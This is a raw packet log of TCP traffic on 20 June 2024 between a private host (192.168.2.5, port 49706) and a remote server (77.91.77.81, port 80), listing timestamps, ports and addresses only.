Jun 20, 2024 15:38:07.681915045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.681994915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682005882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682015896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682032108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682039022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682044029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682054996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682065964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682071924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682101011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682581902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682600021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682610989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682645082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682670116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682729006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682740927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682753086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.682785034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.682810068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.683283091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.683329105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686636925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686650038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686664104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686701059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686734915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686736107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686748981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686759949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686765909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686789036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686819077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686861038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686872959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686913013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.686980009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.686991930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687002897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687014103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687025070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687025070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687052011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687081099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687171936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687561989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687596083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687627077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687642097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687797070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687809944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687820911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687834024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687849045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687881947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687902927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687915087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687927008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687939882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.687946081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687969923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.687990904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688121080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688133955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688143969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688154936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688167095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688179016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688179016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688191891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688204050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688205957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688216925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688225031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688258886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688276052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688472033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688489914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688502073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688515902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688519955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688529015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688539028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688541889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688554049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688565016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688571930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688576937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688591957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688602924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688602924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688635111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688842058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688854933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688865900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688877106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688889027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688890934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688908100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688911915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688925028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688935995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688937902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688947916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688961029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688965082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688973904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.688980103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.688987017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689008951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689038992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689611912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689624071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689635038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689646006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689657927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689668894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689671993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689682007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689692974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689696074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689707041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689713001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689721107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689732075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689743996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689749002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689762115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.689773083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689785957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.689812899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.709692001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.709853888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.709913015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.709986925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.709996939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.710005999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.710024118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.710042000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.710052013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.710082054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.710238934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.710249901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.710290909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736149073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736166954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736180067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736217022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736248970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736274004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736285925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736296892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736309052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736346960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736346960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736584902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736597061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736638069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736896038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736907959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736921072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.736955881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.736988068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.737268925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.737281084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.737334013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.768538952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768600941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768613100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768620968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768681049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.768754005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768767118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768778086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768789053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768800974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768806934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.768841028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.768841028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.768946886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768959045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768970013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.768997908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.769028902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.769052982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.769064903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.769107103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.773672104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773683071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773694038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773725033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.773756027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.773782969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773794889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773806095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773819923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773839951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.773871899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.773957014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773969889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773979902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.773991108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774002075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774012089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774044037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774044037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774091959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774143934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774179935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774193048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774203062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774214029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774225950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774233103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774271965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774271965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774393082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774404049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774415016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774426937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774439096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774450064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774451971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774461985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774475098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774478912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774478912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774502993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774527073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774591923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774601936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774620056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774629116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774650097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774671078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774683952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774694920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774704933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774717093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774733067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774770975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774770975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774817944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774828911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.774868965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.774899960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775028944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775039911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775051117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775063038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775073051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775083065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775084019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775098085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775106907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775124073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775152922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775180101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775192022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775202990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775213003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775224924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775237083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775270939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775270939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775310993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775322914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775333881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775345087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775356054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775362968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775388956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775418997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775624990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775636911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775646925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775660992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775671005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775680065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775681973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775691032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775702953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775711060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775716066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775728941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775731087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775738955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775753975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.775775909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775775909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775803089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.775958061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776077032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776088953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776124001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776141882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776562929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776575089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776585102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776597977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776607990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776618004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776624918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776631117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776643038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776643038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776654005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776664019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776671886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.776684046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776707888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.776731968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.796755075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796767950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796778917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796885967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796896935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796901941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.796909094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796922922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.796947002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.796978951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.822731972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822752953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822762012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822793007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.822824001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.822841883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822854042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822865009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822875977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.822887897 CEST	49706	80	192.168.2.5	77.91.77.81
